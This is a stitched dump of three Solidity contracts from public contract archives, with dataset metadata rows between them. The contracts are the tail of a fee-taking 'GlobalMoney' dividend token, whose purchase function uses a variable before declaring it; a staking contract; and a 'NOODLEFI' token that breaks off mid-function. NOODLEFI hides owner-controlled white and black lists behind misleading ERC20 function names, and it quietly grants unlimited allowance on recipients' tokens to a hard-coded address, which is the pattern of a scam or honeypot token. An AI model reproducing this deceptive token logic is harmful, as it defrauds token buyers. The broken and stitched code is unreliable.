uint256 tokens);
string public name = "GlobalMoney";
string public symbol = "GMG";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 14;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal onreclame = 1;
uint8 constant internal refferalFee_ = 30;
uint8 constant internal adminFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; //
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; //
uint256 constant internal magnitude = 2 ** 64; // 2^64
uint256 public stakingRequirement = 1e18; //
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
bool internal active = false;
address internal admin;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
constructor() public {
admin = msg.sender;
}
function buy(address _referredBy) buyActive public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() buyActive payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() buyActive onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
if (_customerAddress != admin) {
uint256 _reclama = SafeMath.div(SafeMath.mul(_ethereum, onreclame), 100);
_taxedEthereum = SafeMath.sub (_taxedEthereum, _reclama);
tokenBalanceLedger_[admin] += _reclama;
}
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function setActive() onlyAdmin public payable {
purchaseTokens(msg.value, 0x0);
active = true;
}
address contractAddress = this;
function totalEthereumBalance() public view returns (uint256) {
return contractAddress.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns(uint256)
{ address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns(uint256)
{ address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) view public returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) view public returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
if (_customerAddress != admin) {
uint256 _admin = SafeMath.div(SafeMath.mul(_undividedDividends, adminFee_),100);
_dividends = SafeMath.sub(_dividends, _admin);
uint256 _adminamountOfTokens = ethereumToTokens_(_admin);
tokenBalanceLedger_[admin] += _adminamountOfTokens;
}
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _amountOfTokens * (_dividends * magnitude / tokenSupply_);
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); //profitPerShare_old * magnitude * _amountOfTokens;ayoutsToOLD
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 212,550 | 14,127 |
a3971498e74e380f3b889baa1cda9d8e60df1b291f147a0a637dbb9742a9fde5
| 27,324 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/d0/D0ebF5bd3AeB8Ea64636dfcBc5D853dcC7A7c1FE_SigmaStaking.sol
| 4,186 | 16,905 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract SigmaStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Sigma;
address public immutable Alpha;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Sigma,
address _Alpha,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Sigma != address(0));
Sigma = _Sigma;
require(_Alpha != address(0));
Alpha = _Alpha;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Sigma).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Alpha).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Alpha).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Alpha).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Alpha).balanceForGons(info.gons));
IERC20(Sigma).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Alpha).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Sigma).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Alpha).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Alpha).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Alpha).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Sigma).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Alpha).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Alpha).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 28,981 | 14,128 |
d26da8aab28e44a94a48868d04a26eb3d90266cd19b8a2bcc7453108a8ece63a
| 29,666 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6CDEB945AA49b21C45569785164c3AdaEF068aF7/contract.sol
| 3,393 | 12,613 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NOODLEFI is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
